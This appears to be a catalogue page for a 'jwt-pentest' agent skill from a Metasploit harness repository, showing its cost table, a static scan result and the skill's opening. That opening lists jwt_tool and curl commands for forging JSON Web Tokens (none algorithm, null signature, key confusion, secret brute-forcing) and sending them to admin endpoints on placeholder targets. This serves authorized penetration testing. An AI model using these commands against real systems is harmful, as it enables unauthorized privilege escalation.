Borrowing it
Nothing to install: this file belongs to Suzu-Testing/metasploit-cursor-harness. Take a copy, put it at the same path in your own repository, and replace the rules that are about this project with yours.
curl -O https://raw.githubusercontent.com/Suzu-Testing/metasploit-cursor-harness/main/.cursor/skills/jwt-pentest/SKILL.mdgit clone --depth 1 https://github.com/Suzu-Testing/metasploit-cursor-harnessWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/jwt-pentest)<a href="https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/jwt-pentest"><img src="https://agentmods.dev/badge/skills/suzu-testing/metasploit-cursor-harness/jwt-pentest.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00051 | $0.01885 |
| Opus 5 | $0.00026 | $0.00942 |
| Sonnet 5 | $0.00010 | $0.00377 |
| Haiku 4.5 | $0.00005 | $0.00188 |
Grade A, and why
jwt-pentest scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl -X POST "http://<target>/auth/refresh" -d '{"refresh_token":"<token>"}' Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -H "Authorization: Bearer <forged_token>" "http://<target>/api/admin" How it starts
The opening of the file, as written. The whole thing — 241 lines — stays where its author put it; the contents beside it link to each section on GitHub.
JSON Web Token Pentest
Prerequisites
- Target is in scope (
scope/scope-master.txt, engagement ROE). - Load
web-app-pentestfor overall web testing context.
Triggers
Authorization: Bearer eyJ...header on API requests- JWT-shaped cookies (three base64url segments separated by dots)
- Auth flows returning signed tokens with
alg,kid, orjkuin header - Role or user ID embedded in JWT payload claims
Workflow
Task Progress:
- [ ] Decode JWT header and payload
- [ ] Test signature bypass: none algorithm, null signature, key confusion
- [ ] Test header abuse: kid path traversal, jku/x5u injection
- [ ] Brute-force weak HS256 secrets; escalate claims (role, sub, admin)
- [ ] Document with request/response evidence
Detection
Decode and inspect
CLI (primary for web vulns):
python3 jwt_tool.py <JWT> -M at
echo "<JWT>" | cut -d. -f1 | base64 -d 2>/dev/null # header
echo "<JWT>" | cut -d. -f2 | base64 -d 2>/dev/null # payload
Check: alg, kid, jku, x5u, typ, crit, claims (sub, role, admin, exp).
MSF MCP: No direct module. Use msf_search_modules(query="jwt") or msf_search_modules(query="json web token").
Exploitation by variant
None algorithm (CVE-2015-9235)
CLI (primary):
python3 jwt_tool.py <JWT> -X a
# Variants: None, NONE, nOnE
curl -H "Authorization: Bearer <forged_token>" "http://<target>/api/admin"
MSF MCP: No direct module.
Null signature (CVE-2020-28042)
CLI (primary):
python3 jwt_tool.py <JWT> -X n
# <base64header>.<base64payload>.
MSF MCP: No direct module.
Key confusion RS256 to HS256 (CVE-2016-5431)
CLI (primary):
python3 jwt_tool.py <JWT> -X k -pk public.pem
python3 jwt_tool.py <JWT> -X k -jw jwks.json
Obtain RSA public key from JWKS endpoint or SSL cert; sign with public key as HMAC secret.
MSF MCP: No direct module.
ES256 and EdDSA confusion
CLI (primary):
# ES256/EdDSA to HS256 confusion (similar to RS256)
python3 jwt_tool.py <JWT> -X k -pk ec_public.pem
# EdDSA public key as HMAC secret when server accepts alg downgrade
python3 jwt_tool.py <JWT> -I -hc alg -hv HS256 -S hs-secret
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 241 lines · 51 tokens per session scan A 13f94837226f
jwt-pentest is a skill published in the GitHub repository Suzu-Testing/metasploit-cursor-harness (3 stars, last pushed 14d ago), licensed MIT. It adds 51 tokens to every session and 1,885 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
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